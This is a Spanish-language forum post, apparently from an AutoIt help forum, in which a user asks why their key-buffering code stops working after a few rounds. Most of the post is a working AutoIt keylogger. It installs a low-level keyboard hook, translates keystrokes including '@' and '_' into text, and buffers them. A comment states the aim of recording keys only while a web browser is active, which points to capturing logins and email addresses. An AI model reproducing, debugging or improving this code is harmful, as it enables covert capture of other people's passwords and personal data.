Por ejemplo segun como lo hago, almaceno en una variable y reviso con un StringLen la cantidad de letras, en este ejemplo si ya sobre pasaron las 5 letras las muestra con ConsoleWrite y vacía la variable.
El problema es que sin esta condicional StringLeng (ultima funcion [Almacenar]) va de maravilla pero mostrando cada letra pulsada, y no logro que cada equis cantidad de letras, bueno si lo hace pero SOLO POR UNAS 3 o 4 veces y no se cual podria ser el error.
Agradezco su ayuda.
Código: Seleccionar todo
#include <WinAPISys.au3>
#include <WinAPIvkeysConstants.au3>
#include <MsgBoxConstants.au3>
#include <StructureConstants.au3>
#include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <Misc.au3>
#include <WinAPIDiag.au3>
;GRABAR TECLAS SOLO SI ESTA UNA VENTANA ACTIVA DE UN NAVEGADOR: MOZILLA, OPERA, CHROME, EXPLORER
Global $almacen
Global $g_hHook, $g_hStub_KeyProc, $g_sBuffer = ""
Local $UserDLL = DllOpen("user32.dll")
Example()
Func Example()
;~ OnAutoItExitRegister("Cleanup")
Local $hMod
$g_hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
$hMod = _WinAPI_GetModuleHandle(0)
$g_hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($g_hStub_KeyProc), $hMod)
While 1
If _IsPressed("12", $UserDLL) And _IsPressed("51", $UserDLL) Then
almacenar("@")
Sleep(100)
ElseIf _IsPressed("A0", $UserDLL) And _IsPressed("BD", $UserDLL) Then
almacenar("_")
Sleep(100)
ElseIf _IsPressed("A0", $UserDLL) And _IsPressed("BE", $UserDLL) Then
almacenar(":")
Sleep(100)
ElseIf _IsPressed("09", $UserDLL) Then
almacenar(" ");TAB
Sleep(100)
EndIf
Sleep(60)
WEnd
DllClose($UserDLL)
EndFunc ;==>Example
Func _KeyProc($nCode, $wParam, $lParam)
Local $aOnOff[2] = ['OFF', 'ON']
Local $tKEYHOOKS, $charKey, $letra
$tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
If $nCode < 0 Then
Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
EndIf
If $wParam = $WM_KEYDOWN Then
Else
Local $iFlags = DllStructGetData($tKEYHOOKS, "flags")
Switch $iFlags
Case $LLKHF_ALTDOWN ;Alt y AltGr ; ;~
ConsoleWrite("$LLKHF_ALTDOWN" & @CRLF)
Case $LLKHF_EXTENDED ;~
ConsoleWrite("$LLKHF_EXTENDED" & @CRLF)
Case $LLKHF_INJECTED ;~
ConsoleWrite("$LLKHF_INJECTED" & @CRLF)
Case $LLKHF_UP
$charKey = DllStructGetData($tKEYHOOKS, "vkCode")
;164 = ALT ----- 162 = AltGr
;~ ConsoleWrite( $charKey & @CRLF)
;~ ConsoleWrite( $charKey & '-')
If $charKey = 164 Then
If $charKey = 81 Then ConsoleWrite('@')
EndIf
If (($charKey > 47) And ($charKey < 58)) Or (($charKey > 95) And ($charKey < 106)) Then
If $charKey = 48 Or $charKey = 96 Then almacenar('0')
If $charKey = 49 Or $charKey = 97 Then almacenar('1')
If $charKey = 50 Or $charKey = 98 Then almacenar('2')
If $charKey = 51 Or $charKey = 99 Then almacenar('3')
If $charKey = 52 Or $charKey = 100 Then almacenar('4')
If $charKey = 53 Or $charKey = 101 Then almacenar('5')
If $charKey = 54 Or $charKey = 102 Then almacenar('6')
If $charKey = 55 Or $charKey = 103 Then almacenar('7')
If $charKey = 56 Or $charKey = 104 Then almacenar('8')
If $charKey = 57 Or $charKey = 105 Then almacenar('9')
ElseIf Not StringIsAlpha(Chr($charKey)) Then
If $charKey = 188 Then almacenar(',')
If $charKey = 190 Then almacenar('.')
If $charKey = 189 Then almacenar('-')
If $charKey = 222 Then almacenar('{')
If $charKey = 191 Then almacenar('}')
If $charKey = 186 Then almacenar('´')
If $charKey = 220 Then almacenar('|')
If $charKey = 219 Then almacenar("'"); comilla simple
If $charKey = 221 Then almacenar('¿');
If $charKey = 106 Then almacenar('*')
If $charKey = 109 Then almacenar('-')
If $charKey = 32 Then almacenar(' ');espacio
If $charKey = 13 Then almacenar(@CRLF);ENTER
ElseIf $charKey = 109 Or $charKey = 189 Then
almacenar('-')
ElseIf StringIsAlpha(Chr($charKey)) Then
$letra = Chr($charKey)
If $aOnOff[BitAND(_WinAPI_GetKeyState(0x14), 1)] = 'OFF' Then
If $charKey = 192 Then
almacenar('ñ')
Else
almacenar(StringLower($letra))
EndIf
Else
If $charKey = 192 Then
almacenar('Ñ')
Else
almacenar(StringUpper($letra))
EndIf
EndIf
EndIf
EndSwitch
EndIf
Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
EndFunc ;==>_KeyProc
Func _mostrar($datos)
ConsoleWrite('MOSTRAR: ' & @CRLF & @CRLF & $datos & @CRLF & @CRLF)
EndFunc ;==>_mostrar
Func almacenar($aux)
$almacen &= $aux
If StringLen($almacen) > 5 Then
_mostrar($almacen)
Sleep(500)
$aux = ''
$almacen = ''
EndIf
EndFunc ;==>almacenar
Func Cleanup()
_WinAPI_UnhookWindowsHookEx($g_hHook)
DllCallbackFree($g_hStub_KeyProc)
EndFunc ;==>Cleanup
PERO IGUAL SIGUE SIN FUNCAR.